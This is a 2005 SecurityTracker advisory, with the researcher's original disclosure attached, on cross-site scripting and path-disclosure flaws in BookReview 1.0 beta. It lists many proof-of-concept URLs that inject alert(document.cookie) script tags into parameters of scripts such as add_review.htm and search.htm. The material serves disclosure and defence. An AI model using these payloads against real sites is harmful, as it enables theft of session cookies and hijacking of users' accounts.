SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   BookReview Vendors:   WMR Simpson
BookReview Input Validation Holes Permit Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1014058
SecurityTracker URL:  http://securitytracker.com/id/1014058
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 26 2005
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 1.0 beta
Description:   Lostmon reported a vulnerability in BookReview. A remote user can conduct cross-site scripting attacks.

Several scripts do not properly validate user-supplied input to filter HTML code before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the BookReview software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

The 'index.php', 'add_contents.htm', 'add_review.htm', 'suggest_category.htm', 'contact.htm', 'add_booklist.htm', 'add_url.htm', 'search.htm', 'suggest_review.htm', and 'add_classification.htm' scripts are affected.

Some demonstration exploit URLs are provided:

http://[target]/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true

http://[target]/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true

http://[target]/add_review.htm?isbn=0553278223&node="><script>alert(document.cookie)</script>&review=true

http://[target]/add_review.htm?node=index&isbn=\\"><script>alert(document.cookie)</script>

http://[target]/index.php?page=add_contents&isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&chapters=25

http://[target]/index.php?page=add_contents&isbn=083081423X&chapters=25%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/add_contents.htm?isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/suggest_category.htm?node=Agriculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/contact.htm?user=admin%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/add_booklist.htm?node=Agriculture_and_Aquaculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/add_url.htm?node=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/search.htm?page=search&submit%5Bstring%5D=%5C%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=Ok&submit%5Btypeu

http://[target]/add_classification.htm?isbn=0830815961%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Gospels

http://[target]/suggest_review.htm?node=Business_and_Economics"><SCRIPT>alert()</SCRIPT>

A remote user can supply the following type of URL to cause the system to display the installation path:

http://[target]/search.htm?page=search&submit%5Bstring%5D=&submit=Ok&submit%5Btype%5D=auth

http://[target]/search.htm?page=search&submit%5Bstring%5D=&submit%5Btype%5D=title

The vendor was notified on May 17, 2005.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the BookReview software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Cause:   Input validation error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  BookReview 1.0 multiple variable XSS


###################################################
BookReview 1.0 multiple variable XSS
vendor url:http://www.readersunite.com
advisore:http://lostmon.blogspot.com/2005/05/
bookreview-10-multiple-variable-xss.html
vendor notify: yes exploit available: yes
###################################################

BookReview contains a flaw that allows a remote cross
site scripting attack.This flaw exists because the 
application does not validate multiple variables upon
submission to multiple scripts.This could allow a user
to create a specially crafted URL that would execute 
arbitrary code in a user's browser within the trust
relationship between the browser and the server,
leading to a loss of integrity.



############
versions:
############

BookReview beta 1.0 vulnerable.


##############
solution
##############

no solutions was available at this time


###########
timeline
###########

discovered: 27 april 2005
vendor notify 17 may 2005 (webform)
disclosure: 26 may 2005



##################
proof of concepts
###################
all files are submitted to 'index.php' script by variable 'page' like 
index.php?page=[NAME_OF_MODULE]&isbn=[NUMBER_OF_ISBN]
the name of module can be 'add_review' 'add_contents' or others

for example this url:
http://[victim]/index.php?page=add_contents&isbn=083081423X&chapters=25

is the same of this :

http://[victim]/add_contents&isbn=083081423X&chapters=25

with this if you think we have two ways for exploiting this situation
, one with the index.php and other directly by the module.

##################
add_review.htm
#################

http://[victim]/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true

http://[victim]/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true

http://[victim]/add_review.htm?isbn=0553278223&node="><script>alert(document.cookie)</script>&review=true

http://[victim]/add_review.htm?node=index&isbn=\\"><script>alert(document.cookie)</script>

###################
index.php
###################

http://[victim]/index.php?page=add_contents&isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&chapters=25

http://[victim]/index.php?page=add_contents&isbn=083081423X&chapters=25%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

NICE ERROR !!


; function tallyup() { var count = 0; var book = 0; var part = 0; var
section = 0; var chapter = 0; var appendix = 0; var main_prefix = "";
var section_prefix = ""; for ( i=0; i var persian = '' + value; var
roman=""; var ronumdashes=""; var buffer=10-persian.length; while
(buffer>0) {persian="0"+persian;buffer--} var units=new
Array("","I","II","III","IV","V","VI","VII","VIII","IX"); var tens=new
Array("","X","XX","XXX","XL","L","LX","LXX","LXXX","XC"); var
hundreds=new Array("","C","CC","CCC","CD","D","DC","DCC","DCCC","CM");
var thousands=new
Array("","M","MM","MMM","MV","V","VM","VMM","VMMM","MX"); var
billionsdashes=new
Array("","=","==","===","==","=","==","===","====","==");
romandashes=billionsdashes[persian.substring(0,1)]; var
hundredmillionsdashes=new
Array("","=","==","===","==","=","==","===","====","==");
romandashes+=hundredmillionsdashes[persian.substring(1,2)]; var
tenmillionsdashes=new
Array("","=","==","===","==","=","==","===","====","==");
romandashes+=tenmillionsdashes[persian.substring(2,3)]; var
millionsdashes=new
Array("","_","__","___","_=","=","=_","=__","=___","_=");
romandashes+=millionsdashes[persian.substring(3,4)]; var
hundredthousandsdashes=new
Array("","_","__","___","__","_","__","___","____","__");
romandashes+=hundredthousandsdashes[persian.substring(4,5)]; var
tenthousandsdashes=new
Array("","_","__","___","__","_","__","___","____","__");
romandashes+=tenthousandsdashes[persian.substring(5,6)]; var
thousandsdashes=new Array("","","",""," _","_","_","_","_"," _");
romandashes+=thousandsdashes[persian.substring(6,7)];
roman=thousands[persian.substring(0,1)];
roman+=hundreds[persian.substring(1,2)];
roman+=tens[persian.substring(2,3)];
roman+=thousands[persian.substring(3,4)];
roman+=hundreds[persian.substring(4,5)];
roman+=tens[persian.substring(5,6)];
roman+=thousands[persian.substring(6,7)];
roman+=hundreds[persian.substring(7,8)];
roman+=tens[persian.substring(8,9)];
roman+=units[persian.substring(9,10)]; return roman; } function
alphabetise(number) { return String.fromCharCode(64+number); } ///
function submitconfirm() { var agree =
document.getElementById('agree'); if ( !agree.checked ) { alert("You
must indicate your agreement to the terms and conditions by checking
the box provided."); return false; } return true; }


###################
add_contents.htm
###################


http://[victim]/add_contents.htm?isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/suggest_category.htm?node=Agriculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/contact.htm?user=admin%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/add_booklist.htm?node=Agriculture_and_Aquaculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


#########################
others.
#########################

http://[victim]/add_url.htm?node=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/search.htm?page=search&submit%5Bstring%5D=%5C%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=Ok&submit%5Btype%5D=author

http://[victim]/add_classification.htm?isbn=0830815961%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Gospels

http://[victim]/suggest_review.htm?node=Business_and_Economics"><SCRIPT>alert()</SCRIPT>

############################
posible local fle inclusion
############################

http://[victim]/suggestions/"><script>alert(document.cookie)</script>.htm
http://[victim]/directory/">%3Cscript%3Ealert(document.cookie)%3C/script%3E.htm

http://[victim]/search.htm?page=search&submit%5Bstring%5D=%5C%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=Ok&submit%5Btype%5D=author



################
path disclosure:
################

http://[victim]/search.htm?page=search&submit%5Bstring%5D=&submit=Ok&submit%5Btype%5D=auth
or

http://[victim]/search.htm?page=search&submit%5Bstring%5D=&submit%5Btype%5D=title



thnx to estrella to be my ligth
Thnx to icaro he is my Shadow !!!
thnx to all http://www.osvdb.org Team
thnx to all who day after day support me !!!
-- atentamente: Lostmon (lostmon@gmail.com) Web-Blog: http://lostmon.blogspot.com/ Data Mangler of: http://www.osvdb.org -- La curiosidad es lo que hace mover la mente 
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC